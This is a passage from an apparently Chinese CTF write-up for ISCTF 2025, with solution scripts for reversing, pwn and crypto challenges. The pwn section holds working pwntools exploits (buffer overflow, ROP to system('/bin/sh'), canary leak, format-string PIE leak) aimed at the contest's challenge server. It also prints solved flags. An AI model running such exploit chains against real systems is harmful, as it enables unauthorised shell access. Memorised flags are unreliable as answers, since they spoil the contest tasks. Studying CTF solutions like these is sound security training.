    s.add(96 * flag[22] + 85 * flag[20] + 55 * flag[19] + 99 * flag[13] + 19 * 
flag[11] + 
          77 * flag[10] + 52 * flag[9] + 66 * flag[8] + 96 * flag[6] + 72 * 
flag[4] + 
          90 * flag[3] + 60 * flag[1] + 94 * flag[0] - 99 * flag[2] - 26 * 
flag[5] - 
          94 * flag[7] - 49 * flag[12] - 32 * flag[14] - 54 * flag[15] - 92 * 
flag[16] - 
          71 * flag[17] - 63 * flag[18] - 23 * flag[21] == 33789)
    
    s.add(15 * flag[22] + flag[19] + 26 * flag[17] + 65 * flag[16] + 80 * 
flag[11] + 
          92 * flag[8] + 28 * flag[5] + 79 * flag[4] + 73 * flag[0] - 98 * 
flag[1] - 
          2 * flag[2] - 70 * flag[3] - 10 * flag[6] - 30 * flag[7] - 51 * 
flag[9] - 
          77 * flag[10] - 32 * flag[12] - 32 * flag[13] + 8 * flag[14] + 4 * 
flag[15] - 
          11 * flag[18] - 83 * flag[20] - 85 * flag[21] == -10455)
    
    if s.check() == sat:
        model = s.model()
        result = []
        for i in range(23):
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            result.append(model[flag[i]].as_long())
        return bytes(result)
    return None

def main():
    xor_flag = solve_flag()
    if xor_flag:
        original_flag = bytes([c ^ 0xC for c in xor_flag])
        print(f"Flag: {original_flag.decode()}")
    else:
        print("No solution found")

if __name__ == "__main__":
    main()

Flag: ISCTF{yR_A_Zzz_Ma5t3R!}​

ezpy​

py逆向，用pyinstxtractor得到eapy.pyc,发现从mypy库里面引用了check函数，于是ida打开

mypy.cp313-win_amd64.pyd,shift+f12找到check​

双击找到对应地址

查看check函数​
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根据先前RC4 flag checker module猜测这是一个RC4，然后密钥是“ISCTF2025”，写出脚本​

代码块​

enc = bytes([0x1D, 0xD5, 0x38, 0x33, 0xAF, 0xB5, 0x51, 0xF3, 0x2C, 0x6B, 
  0x6E, 0xFE, 0x41, 0x24, 0x43, 0xD2, 0x71, 0xCF, 0xA4, 0x4C, 
  0xE3, 0x9A, 0x9A, 0xB5, 0x31])
    
key ="ISCTF2025"
def rc4_init(key):
    S = list(range(256))
    j = 0
    for i in range(256):
        key_byte = key[i % len(key)]
        if isinstance(key_byte, str):
            key_byte = ord(key_byte)
        j = (j + S[i] + key_byte) % 256
        S[i], S[j] = S[j], S[i]
    return S

def rc4_crypt(S, data):
    i = j = 0
    out = []
    for k in range(len(data)):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        keystream_byte = S[(S[i] + S[j]) % 256]
        out.append(keystream_byte ^ data[k])
    return bytes(out)
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S = rc4_init(key)
flag = rc4_crypt(S, enc)

print("Flag:", flag.decode())

Flag: ISCTF{Y0U_GE7_7HE_PYD!!!}​

ELF​

下载下来丢到die里面去，发现使用pyinstaller打包，使用pyinstxtractor得到main.pyc​

得到题目源码

代码块​

import base64
import hashlib
import random
flag = 
'8d13c398b72151b1dad78762553dbbd59dba9b0b2330b03b401ea4f2a6d4731d479220fe900b52
0f6b4753667fe1cdf9eff8d3b833a0013c4083fa1ad27d056486702bda245f3c1aa0fbf84b237d8
f2dec9a80791fe66625adfe3669419a104cbb67293eaada20f79cebf69d84d326025dd35dec09a2
c97ad838efa5beba9e72'
YourInput = input('Please input your flag:')
enc = ''
if len(YourInput) != 24:
    print('Length Wrong!!!')
    exit(0)

def Rep(hash_data):
    random.seed(161)
    result = list(hash_data)
    for i in range(len(result) - 1, 0, -1):
        swap_index = random.randint(0, i)
        result[i], result[swap_index] = (result[swap_index], result[i])
    return ''.join(result)
for i in range(len(YourInput) // 3):
    c2b = base64.b64encode(YourInput[i * 3:(i + 1) * 3].encode('utf-8'))
    hash = hashlib.md5(c2b).hexdigest()
    enc += Rep(hash)
if enc == flag:
    print('Your are win!!!')
else:
    print('Your are lose!!!')
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加密步骤是把24字节的flag拆分成8组，每组的base64编码生成一个md5值，然后用Rep函数将md5值

中的数据打乱，最后拼接起来得到密文

直接逆向

代码块​

import base64
import random
import hashlib

flag = 
'8d13c398b72151b1dad78762553dbbd59dba9b0b2330b03b401ea4f2a6d4731d479220fe900b52
0f6b4753667fe1cdf9eff8d3b833a0013c4083fa1ad27d056486702bda245f3c1aa0fbf84b237d8
f2dec9a80791fe66625adfe3669419a104cbb67293eaada20f79cebf69d84d326025dd35dec09a2
c97ad838efa5beba9e72'

def re_Rep(enc_hash):
    random.seed(161)
    n = len(enc_hash)
    indices = list(range(n))

    swap = []
    for i in range(n - 1, 0, -1):
        swap_index = random.randint(0, i)
        swap.append((i, swap_index))

    result = list(enc_hash)
    for i, swap_index in reversed(swap):
        result[i], result[swap_index] = result[swap_index], result[i]
    
    return ''.join(result)

def precompute_md5_dict():
    md5_dict = {}
    print("预计算MD5映射...")
    for a in range(32, 127):
        for b in range(32, 127): 
            for c in range(32, 127):
                test_str = chr(a) + chr(b) + chr(c)
                c2b = base64.b64encode(test_str.encode('utf-8'))
                hash_val = hashlib.md5(c2b).hexdigest()
                md5_dict[hash_val] =test_str
    return md5_dict

def solve_fast():
    # 预计算​
    md5_dict = precompute_md5_dict()
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    # 分割并逆向​
    hash_parts = [flag[i*32:(i+1)*32] for i in range(8)]
    original_hashes = [re_Rep(part) for part in hash_parts]
    
    result = ""
    for i, target_md5 in enumerate(original_hashes):
        if target_md5 in md5_dict:
            result += md5_dict[target_md5]
            print(f"第{i+1}组: {md5_dict[target_md5]}")
        else:
            print(f"第{i+1}组未找到匹配")
    
    return result

# 运行快速求解​
flag_result = solve_fast()
print(f"\n最终flag: {flag_result}")

得到flag：ISCTF{NO7_3x3_i5_3Lf!!!}​

小蓝鲨的单片机_1​

反汇编得到

代码块​

0x100: MOV P0, #0xFF      ; 初始化端口 P0
0x103: MOV P2, #0xFF      ; 初始化端口 P2
0x106: MOV DPTR, #0x0207  ; 数据指针指向 0x0207 (字模数据的起始位置前一个字节)

; --- 主循环 ---
0x109: MOV A, P2          ; 读取 P2
0x10B: CPL A              ; 取反
0x10C: MOV P2, A          ; 写回 P2 (让 P2 上的 LED 闪烁)
0x10E: MOV A, #00
0x110: ACALL 0x011C       ; 调用延时函数
0x112: INC DPTR           ; 数据指针 +1 (指向下一个字模字节)
0x113: MOVC A, @A+DPTR    ; 读取字模数据
0x114: CPL A              ; 取反 (LED通常是低电平点亮)
0x115: MOV P0, A          ; 将字模数据输出到 P0 (显示)
0x117: CJNE A, #00, 0x109 ; 如果读到的数据不是 0x00 (结束符)，则跳转回 0x109 继续
0x11A: SJMP 0x100         ; 如果结束，重新开始

作用是逐字节读取 0x207 之后的数据，并将其作为 8x8 点阵字体显示在LED矩阵上。​
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以3C 18 18 18 18 18 3C 00为例，将16进制数逐个转为2进制数​

代码块​

00111100
00011000
00011000
00011000
00011000
00011000
00111100
00000000

得到"I"，依次类推得到ISCTF{Wow_You_Are_Good_At_51}​

MysteriousStream​

用ida查看main函数，大致的操作流程如下​

代码块​

int main() {
    // 1. 读取payload.dat文件​
    FILE *fp = fopen("payload.dat", "rb");
    fread(data, 1, filesize, fp);
    
    // 2. 准备密钥​
    char key[17] = "P4ssXORSecr3tK3y!";
    
    // 3. 第一层解密：RC4变种​
    rc4_variant(data, filesize, &key[7], 10); // 使用"XORSecr3t"作为密钥​
    
    // 4. 第二层解密：循环XOR​
    for (i = 0; i < filesize; i++) {
        data[i] ^= key[i % 7]; // 使用"P4ssXOR"作为XOR密钥​
    }
    
    // 5. 输出结果​
    printf("Result: %s\n", data);
}

查看rc4_variant​

代码块​

unsigned __int64 __fastcall rc4_variant(_BYTE *a1, __int64 a2, __int64 a3, 
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unsigned __int64 a4)
{
  _BYTE *v4; // r8
  __int64 i; // rax
  unsigned __int64 v7; // rcx
  int v8; // ebx
  char v9; // r11
  _BYTE *v10; // r9
  char v11; // al
  char v13[264]; // [rsp+0h] [rbp-118h]
  unsigned __int64 v14; // [rsp+108h] [rbp-10h]

  v4 = a1;
  v14 = __readfsqword(0x28u);
  for ( i = 0LL; i != 256; ++i )
    v13[i] = i;
  v7 = 0LL;
  LOBYTE(v8) = 0;
  do
  {
    v9 = v13[v7];
    v8 = (unsigned __int8)((v7 & 0xAA) + v8 + v9 + *(_BYTE *)(a3 + v7 % a4));
    v13[v7++] = v13[v8];
    v13[v8] = v9;
  }
  while ( v7 != 256 );
  if ( a2 )
  {
    v10 = &a1[a2];
    LOBYTE(a1) = 0;
    LOBYTE(a2) = 0;
    do
    {
      LODWORD(a1) = (unsigned __int8)((_BYTE)a1 + 1);
      v11 = v13[(unsigned int)a1];
      LODWORD(a2) = (unsigned __int8)(v11 + a2);
      v13[(unsigned int)a1] = v13[(unsigned int)a2];
      v13[(unsigned int)a2] = v11;
      *v4++ ^= v13[(unsigned __int8)(v13[(unsigned int)a1] + v11)];
    }
    while ( v10 != v4 );
  }
  return v14 - __readfsqword(0x28u);
}

与普通rc4相比修改了ksa​
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所以写出解密脚本

代码块​

def rc4_variant_decrypt(data, key):
    """逆向实现rc4_variant解密函数"""
    S = list(range(256))
    
    # KSA变种（与加密相同）​
    j = 0
    for i in range(256):
        k = (i & 0xAA) + j + S[i] + key[i % len(key)]
        j = k & 0xFF
        S[i], S[j] = S[j], S[i]
    
    # PRGA（与加密相同）​
    i = j = 0
    result = bytearray(len(data))
    
    for k in range(len(data)):
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        keystream = S[(S[i] + S[j]) & 0xFF]
        result[k] = data[k] ^ keystream
    
    return bytes(result)

def main():
    # 密文数据​
    encrypted = bytes.fromhex(
        "F1C652ACAB33EE6873CEA53F0E0EB7FD"
        "C731BE9AA7E8D41FE04B3154FF7CCCD2"
        "160B4034E6B815BF"
    )
    
    # 密钥​
    full_key = b"P4ssXORSecr3tK3y!"
    rc4_key = full_key[7:17]  # "XORSecr3t" (10字节)​
    xor_key = full_key[:7]    # "P4ssXOR" (7字节)​
    
    # 解密步骤​
    # 1. 先XOR解密​
    after_xor = bytearray()
    for i in range(len(encrypted)):
        after_xor.append(encrypted[i] ^ xor_key[i % 7])
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    # 2. 再RC4变种解密​
    decrypted = rc4_variant_decrypt(bytes(after_xor), rc4_key)
    
    # 输出结果​
    flag = decrypted.decode('utf-8')
    print(f"Flag: {flag}")

if __name__ == "__main__":
    main()

得到flag：ISCTF{Y0u_a2e_2ea11y_a_1aby2inth_master}​

小蓝鲨的单片机_2​

开头是一个跳转命令，地址是0x0100，说明主程序从0x0100开始，初始化完成后，程序进入主循环。

会向屏幕输出两行数据。

第一行

代码块​

0x0133: 79 80       ; MOV R1, #0x80 (设置 LCD 光标位置：第一行开头)
0x0137: 7B 01       ; MOV R3, #0x01 (数据指针高字节 DPH)
0x0139: 7C CC       ; MOV R4, #0xCC (数据指针低字节 DPL -> 指向 0x01CC)
0x013B: 31 B0       ; ACALL 0x01B0  (调用“打印加密字符串”函数)

第二行

代码块​

0x013D: 79 C0       ; MOV R1, #0xC0 (设置 LCD 光标位置：第二行开头)
0x013F: 7B 01       ; MOV R3, #0x01
0x0141: 7C DC       ; MOV R4, #0xDC (数据指针低字节 DPL -> 指向 0x01DC)
0x0143: 31 B0       ; ACALL 0x01B0  (再次调用打印函数)

打印函数逻辑是读取 DPTR (由上面的 R3:R4 设定，分别为 0x01CC 和 0x01DC) 指向的内存数据；循环 

16 次；每次读取一个字节后，调用解密函数。​

解密函数是与0xA2异或。​

所以写出脚本

代码块​

def solve():
    row1_hex = "EB F1 E1 F6 E4 D9 F5 CD D5 FD FB CD D7 FD E3 D0"
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    row2_hex = "C7 FD 97 93 FD EF C3 D1 D6 C7 D0 DF 82 82 82 82"

    # 将 Hex 字符串转换为整数列表​
    data_row1 = [int(x, 16) for x in row1_hex.split()]
    data_row2 = [int(x, 16) for x in row2_hex.split()]

    # 逆向分析得出的 XOR 密钥​
    key = 0xA2

    print("开始解密 1602A 屏幕数据...")
    print("-" * 30)

    # 解密第一行​
    decrypted_row1 = ""
    for byte in data_row1:
        decrypted_row1 += chr(byte ^ key)
    print(f"Row 1: {decrypted_row1}")

    # 解密第二行​
    decrypted_row2 = ""
    for byte in data_row2:
        decrypted_row2 += chr(byte ^ key)
    print(f"Row 2: {decrypted_row2}")

    print("-" * 30)
    print(f"最终 Flag: {decrypted_row1.strip()}{decrypted_row2.strip()}")

if __name__ == "__main__":
    solve()

得到flag：ISCTF{Wow_You_Are_51_Master}​

ReCall​

ida查看主函数，程序会把输入的24字节的flag分成6个整数，每两个一组，一共三组。​

第一组：调用 sub_4011C0 进行加密。​

第二组：创建一个线程 (CreateThread)，在线程函数 StartAddress 中进行加密。​

第三组：等待线程结束后 (WaitForSingleObject)，再次调用 sub_4011C0 对第三组进行加密。​

最后将加密后的结果与密文数组比较。

观察sub_4011C0发现这是一个xxtea算法​

密文是
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cipher = [
    0x2D66FD90, 0xF6FB537A, # Group 1
    0xE32FCE6D, 0x07248633, # Group 2
    0xDF96A0AD, 0x65E18188  # Group 3
]

但如果用标准xxtea的魔数和静态分析得到的key去写解密脚本无法得到flag。​

继续观察，发现TlsCallback_0函数​

代码块​

int __stdcall TlsCallback_0(int a1, int a2, int a3)
{
  int result; // eax

  dword_41E000 = -2002520267;
  if ( IsDebuggerPresent() )
    dword_41E000 = 1048698642;
  result = a2;
  switch ( a2 )
  {
    case 0:
      *(&dword_41E004 + 1) = -1640907304;
      break;
    case 1:
      result = 4;
      dword_41E004 = 946775355;
      break;
    case 2:
      *(&dword_41E004 + 2) = 689846054;
      break;
    case 3:
      result = 4;
      *(&dword_41E004 + 3) = -2002520267;
      break;
    default:
      return result;
  }
  return result;
}

由于程序是分段加密的，Key 在不同阶段状态不同：​

1. 第一组 (Main开始)：​

• 状态：进程启动 (Reason 1 触发)。​
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• Key: [New_K0, Old_K1, Old_K2, Old_K3]​

2. 第二组 (Thread内)：​

• 状态：线程创建 (Reason 2 触发)。​

• Key: [New_K0, Old_K1, New_K2, Old_K3]​

3. 第三组 (Thread结束)：​

• 状态：线程退出 (Reason 3 触发)。​

• Key: [New_K0, Old_K1, New_K2, New_K3]​

所以写出解密脚本

代码块​

import struct

# XXTEA 解密函数 (支持自定义 Delta 和 32位溢出模拟)​
def xxtea_decrypt(v, k, delta_val):
    n = len(v)
    rounds = 6 + 52 // n
    sum_val = (rounds * delta_val) & 0xFFFFFFFF
    y = v[0]
    while sum_val != 0:
        e = (sum_val >> 2) & 3
        for p in range(n - 1, -1, -1):
            z = v[(p - 1) % n]
            mx = (((z >> 5) ^ ((y << 2) & 0xFFFFFFFF)) + ((y >> 3) ^ ((z << 4) 
& 0xFFFFFFFF))) ^ \
                 ((sum_val ^ y) + (k[(p & 3) ^ e] ^ z))
            v[p] = (v[p] - mx) & 0xFFFFFFFF
            y = v[p]
        sum_val = (sum_val - delta_val) & 0xFFFFFFFF
    return v

# 1. 密文数据​
cipher = [
    [0x2D66FD90, 0xF6FB537A], # Part 1
    [0xE32FCE6D, 0x07248633], # Part 2
    [0xDF96A0AD, 0x65E18188]  # Part 3
]

# 2. 密钥组件​
# 静态部分 (Memory Dump)​
key_static = [0x5319AC34, 0xD7E2667D, 0xC38166DB, 0x2913A100]
# 动态修改部分 (TLS)​
tls_k0 = 946775355   & 0xFFFFFFFF
tls_k2 = 689846054   & 0xFFFFFFFF
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tls_k3 = -2002520267 & 0xFFFFFFFF

# 3. 构造三个阶段的 Key​
keys = [
    [tls_k0, key_static[1], key_static[2], key_static[3]], # Stage 1
    [tls_k0, key_static[1], tls_k2,        key_static[3]], # Stage 2
    [tls_k0, key_static[1], tls_k2,        tls_k3]         # Stage 3
]

# 4. 真实的 Delta (被 TLS 修改)​
real_delta = -2002520267 & 0xFFFFFFFF

# 5. 解密​
flag_bytes = b""
for i in range(3):
    dec = xxtea_decrypt(cipher[i], keys[i], real_delta)
    for val in dec:
        flag_bytes += struct.pack("<I", val)

print("Flag:", flag_bytes.decode())

得到flag：ISCTF{Y9r_gO0D@_Tl5_T3A}​

（这道题倒是很契合题目描述里的“在它们诞生与消亡的那一瞬间，有什么东西发生了变化……”，

怪文艺的）

Pwn​

Sign​

详细过程:需要把-1378178390写入buf【27】，转换为unsigned_int类型即可（法二：IDA中右键

Hexadecimal直接转换写入就行）​

Sign​

from pwn import *
context(log_level='debug')
io=remote('challenge.bluesharkinfo.com',27953)

target_value = -1378178390 & 0xffffffff
payload=b'a' *108+p64(target_value)
io.sendlineafter(b"do you like blueshark?\n", payload)

io.interactive()
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flag： ISCTF{a9e58294-bb8d-43b1-b68b-84d84cd7c11a} ​

ret2rop​

好坑的一道，开始找的rodata段的bin/sh”））不能用，需要自己在name（bss.）段输入

b"/bin/sh\x00"​

ROPgadget没有pop_rdi-->找mov rdi rsi替换​

异或以及frame一些知识​

代码块​

from pwn import *
io=remote('challenge.bluesharkinfo.com',23943)
#io=process('./pwn')

io.sendline(b"aaa")
io.send(b'/bin/sh\x00'+b'\x00'*8)
rsi=0x401A1C
rdi=0x401A25
system=0x401180
payload=p64(0)*11+p64(rsi)+p64(0x4040F0)+p64(rdi)+p64(system)+b'\x00'*
(0x20+0x28)
io.recvuntil(b"yourself")
#gdb.attach(io)
io.send(payload)
io.interactive()

flag： ISCTF{d200be05-b10f-4bf5-b943-c1c51825a312} ​

ez2048​

做小游戏，发现输入q减十分，减到负数得最大值成功达到1000分​

buf【17】canary接受，后续rop，exit出来后cat flag​

代码块​

from pwn import *
context(log_level='debug')
#io=process('./pwn')
io=remote('challenge.bluesharkinfo.com',21692)

io.send(b'/bin/sh\x00')
io.recvuntil(b"start the game")

io.sendline(b"\n")
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for i in range(6):
    io.sendline(b"q")
    io.sendline(b"a")
io.sendline(b"q")
io.sendline(b"q")
#gdb.attach(io)
io.recv()

payload=b'a'*(0x88)+b'a'
io.send(payload)
io.recvuntil(b'a'*0x89)
canary=u64(b'\x00'+io.recv(7))
print(hex(canary))

pop_rdi=0x40133e
name=0x404A40+6
system=0x401170

payload=b'a'*
(0x88)+p64(canary)+p64(0)+p64(0x40267F)+p64(pop_rdi)+p64(name)+p64(system)
io.send(payload)

#io.send(b'exit\n')
io.interactive()                          

flag: ISCTF{0c0d2a11-3b2b-4769-9590-f7ba540a72af} ​

ez_fmt​

保护全开（开PIE），pathchelf修补2.35-0ubuntu3.11_amd64​

观察到printf(buf)有格式化字符串漏洞-->gdb调试，找canary和PIE偏移​

第二次输出，栈溢出构造rop链（需要栈平衡）​

代码块​

from pwn import *
#io=process('./pwn')
io=remote('challenge.bluesharkinfo.com',24764)

io.sendline(b"%25$p%27$p")
io.recvuntil(b'0x')
pie=int(io.recv(12),16)-0x135b
io.recvuntil(b"0x")
canary=int(io.recv(16),16)
print(hex(pie))
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print(hex(canary))

payload=b'a'*0x88+p64(canary)+p64(0)+p64(pie+0x12F9)+p64(pie+0x11E9)
io.send(payload)
io.interactive()

ISCTF{b851fd94-3092-45b1-867b-56239552df4c}

Crypto​

小蓝鲨的LFSR系统​

题目知道考查LFSR系统，给出的initState和outputState组合得到所有的输出​

代码块​

import binascii

# 已知数据
initState = [0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 
1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 
1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 
1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 
1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 
0, 0]
outputState = [0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 
1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 
0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 
0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 
0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 
0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 
0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 
0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 
1]

ciphertext_hex = '4b3be165a0a0edd67ca8f143884826725107fd42d6a6'

# 构造完整状态序列 s
s = initState + outputState  # 长度 128+256=384 outputstate是最终输出序列减去初始输
入序列

# 建立方程组： 256 个方程，128 个未知数 m[0..127]
# 对于 t = 0..255: s[128+t] = sum_{i=0..127} s[t+i] * m[i] mod 2
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# 使用高斯消元法在 GF(2) 上求解
n = 128  # 未知数个数
m = 256  # 方程个数

# 构造增广矩阵 A (m行, n+1列)，最后一列是 s[128+t]
A = [[0]*(n+1) for _ in range(m)]

for t in range(m):
    for i in range(n):
        A[t][i] = s[t + i]
    A[t][n] = s[128 + t]

# GF(2) 高斯消元
row = 0
for col in range(n):
    # 找到主元
    pivot = -1
    for r in range(row, m):
        if A[r][col] == 1:
            pivot = r
            break
    if pivot == -1:
        continue
    # 交换行
    A[row], A[pivot] = A[pivot], A[row]
    # 消除该列其他行
    for r in range(m):
        if r != row and A[r][col] == 1:
            for k in range(col, n+1):
                A[r][k] ^= A[row][k]
    row += 1
    if row == m:
        break

# 回代求解 mask
mask = [0]*n
for r in range(m):
    # 找到主元列
    col = -1
    for c in range(n):
        if A[r][c] == 1:
            col = c
            break
    if col != -1:
        # 该行形如 mask[col] = A[r][n]
        mask[col] = A[r][n]
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# 验证一下：用求得的 mask 重新计算 output，看是否匹配
state = initState.copy()
for t in range(256):
    feedback = sum(state[t + i] & mask[i] for i in range(128)) % 2
    state.append(feedback)
if state[128:] == outputState:
    print("Mask 验证成功！")
else:
    print("Mask 验证失败")
    exit(1)

# mask 转为 key
key_bytes = bytes(int(''.join(str(bit) for bit in mask[i * 8:(i + 1) * 8]), 2) 
for i in range(16))
print("Key (hex):", key_bytes.hex())

# 解密 ciphertext
cipher_bytes = binascii.unhexlify(ciphertext_hex)
keystream = (key_bytes * (len(cipher_bytes) // 16 + 1))[:len(cipher_bytes)]
plain = bytes(p ^ k for p, k in zip(cipher_bytes, keystream))
print("Plaintext:", plain)
print("Plaintext (str):", plain.decode('ascii', errors='ignore'))

flag: ISCTF{lf5R_jUst_So_s0} ​

easy_RSA​

N不能直接分解，观察可知为共模攻击类型，则需要将p+q替换为已知值。进行关系分析可知m^(p+q) 

= m^(N+1) mod N，可用N+1替换p+q作为公钥指数进行扩展欧几里得运算得到相应的s1,s2后共模攻

击m=(pow(ct1,s1)%N*pow(ct2,s2)%N)%N得到m，再转字节拿到flag​

代码块​

from Crypto.Util.number import long_to_bytes
N = 
1763025825708055779706232047442351596770595002641501291208765567931547916890398
0901728425140787005046038000068414269936806478828260848859753400786557270120330
7607912550469851141272856726344135139919888951661157942420186740425637883483815
6756519014627804081125775711909029647861079839394458187030937352988495066399048
5525646200034220648901490835962964029936321155200390798215987316069871958913773
1991970738600625153298792881064460166952044260013935663515240238573329782608944
0969859646547421489840270715793332643189662902519796420958099182122255766358947
5589423032130993456522178540455360695933336455068507071827928617
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ct1 = 
5961639119243884817956362325106436035547108981120248145301572089585639543543496
6279855407731854521087099581078181594308355103869933545961063664588987655974054
6122579861502034264005638675710485570989908981683880563148032926412834946522932
7090721088394549641366346516133008681155817222994359616737681983784274513555455
3403010613028151029440831736791739237289686711139263762964812983235007744190996
8264760197797077726008479903630650859780702912227659508058048333611545871333852
2372181732208078117809553781889555191883178157241590455408910096212697893247529
197116309329028589569527960811338838624831855672463438531266455
ct2 = 
1179205429865439786598365150791228263283147168033431250991894512079786287666189
9077559686851237832931501121869814783150387308320349940383857026679141830402807
7153973323166014396147413152780338536464182756321741608167846189827438342049974
0286693129561920282663362969016442951272395724107242166317082994407675348361686
5208617479794763412611604625495201470161813033934476868949612651276104339747165
2762049451250012747771345294911528406720100109400345032573155555112743258316847
9304020922481687977872561246854275877742888856326623328495866008817513911416643
3501743740034567850893745466521144371670962121062992082312948789
e = 65537
# 扩展欧几里得算法
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)  
        return (g, x - (b // a) * y, y)

#两个公钥指数
e1 = e
e2 = N + 1  # 因为 m^(p+q) = m^(N+1) mod N
g, s1, s2 = egcd(e1, e2) # 计算 s1, s2 使得 s1*e1 + s2*e2 = 1
# print(g)
           # 确保 gcd 为 1(g=gcd(e,N+1))
assert g == 1
m = (pow(ct1, s1, N) * pow(ct2, s2, N)) % N   # 共模攻击恢复明文

print(long_to_bytes(m))   # 转换为字节并打印 flag
#b'ISCTF{Congratulations_you_master_Mathematical_ability}'

Flag: ISCTF{Congratulations_you_master_Mathematical_ability} ​

Power-tower​

本题考查内容在题干中已经给出为拓展欧拉定理，观察题目发现考点在于求得l，由于模指数太大无法

直接运算，需要使用拓展欧拉定理进行降幂，判断得到gd(2,n)=1即互质，使用2^t对phi_n取模后的值
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作为新指数进行运算即可，通过在线分解或者使用sympy进行分解质因数得到n可分解为三个质数，

phi_n = (p-1)*(q-1)*(z-1) 即可。（着重提出一点：题目中 n = getPrime(256) ,但是n

不是素数！）

代码块​

from Crypto.Util.number import *
from math import gcd
from sympy import factorint
t = 6039738711082505929
n = 
107502945843251244337535082460697583639357473016005252008262865481138355040617
c = 
114092817888610184061306568177474033648737936326143099257250807529088213565247
print(isPrime(n))
print(gcd(n,2)==1)
# pq = factorint(n,verbose=True)
# print(pq)
q = 127
p = 841705194007
z = 1005672644717572752052474808610481144121914956393489966622615553
phi_n = (p-1)*(q-1)*(z-1)
exp1 = pow(2, t,phi_n)
# print(exp1)
l = pow(2, exp1, n)
# print(l)
flag = c ^ l
# print(flag)
print(long_to_bytes(flag))
#b'ISCTF{Euler_1s_v3ry|useful!!!!!}'

flag: ISCTF{Euler_1s_v3ry|useful!!!!!} ​

小蓝鲨的RSA密文​

本题解题主要分为三部分，1.通过二分法得到m的近似上限；2.使用得到的上限向下遍历一个范围使用

已知的（differ = x*m^2)找到分别满足条件的x,m；3.进行AES的解密运算，已知iv,ct,使用求得的m得

到aes_key后即可decrypt得到plaintext去除填充即可。​

代码块​

N = 
1212886006211983896622464792776322948004236978233631888966687754567716418072337
8141652528223478787343590474757146845295047981793568484814365171634360663365696
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9395065588423982440884464542428742861388200306417822228591316703916504170245990
423925894477848679490979364923848426643149659758241239900845544537886777
c = 
3756824985347508967549776773725045773059311839370527149219720084008312247164501
688241698562854942756369420003479117
a2_high = 9012778
LOW_BITS = 16
a1 = 621315
a0 = 452775142

iv = 0xbf38e64bb5c1b069a07b7d1d046a9010
iv_ = 'bf38e64bb5c1b069a07b7d1d046a9010'

ct = 
0x8966006c4724faf53883b56a1a8a08ee17b1535e1657c16b3b129ee2d2e389744c943014eb774
cd24a5d0f7ad140276fdec72eb985b6de67b8e4674b0bcdc4a5
ct_ = 
'8966006c4724faf53883b56a1a8a08ee17b1535e1657c16b3b129ee2d2e389744c943014eb774c
d24a5d0f7ad140276fdec72eb985b6de67b8e4674b0bcdc4a5'

e = 3

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import *
import binascii

high_ = a2_high << 16

def count(m):  #计算假设低位为0的值(假设a2=high_+x,此时x=0)
    return m**e + high_ * (m**2) + a1 * m + a0

low = 0
high = 1 << 128
m_approximate = 0

while low <= high:
    mid = (low+high)//2  #向下取整
    res = count(mid)
    if res % N == c:
        m_approximate = mid
        break
    elif res % N < c:
        m_approximate = mid
        low = mid+1
    else:
        high = mid-1
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print(f'[+]二分查找得到的m近似上限：{m_approximate}')

_m = None  #先设置将要得到的结果_m,_x
_x = None

for i in range(50000):  #设置一个搜索范围，寻找m精确值
    m_ = m_approximate - i  #假设m_为精确值
    if m_ <= 0:
        break
    differ = c - count(m_)  #差值即为使用m_计算得到的c_与题目给出c的差值
    if differ >= 0 and differ % (m_ ** 2) == 0:  #我们需要的正确差值要非负且为m**2
的倍数（因为在方程中可知此处得到的差值应为（x*m^2））
        x_ = differ // (m_**2)  #即可知道此时的x_
        if 0 <= x_ < (1 << 16):  #我们需要x在0到1<<16之间（即移位区间内）
            _m = m_  #将得到值赋值给变量（下面要使用）
            _x = x_
            print(f'[+]找到参数，m={_m},x={_x}')
            break
if _m:
    aes_key = long_to_bytes(_m)
    # aes_key = aes_key.rjust(16,b'\0')#向右补齐16字节(此处题中给出的aes_key长度正
好为16字节)
    # iv = binascii.unhexlify(iv_)  同使用的fromhex方法作用一样，将16进制字符串转为
字节格式（用于AES解密）
    iv = bytes.fromhex(iv_)
    ct = bytes.fromhex(ct_)
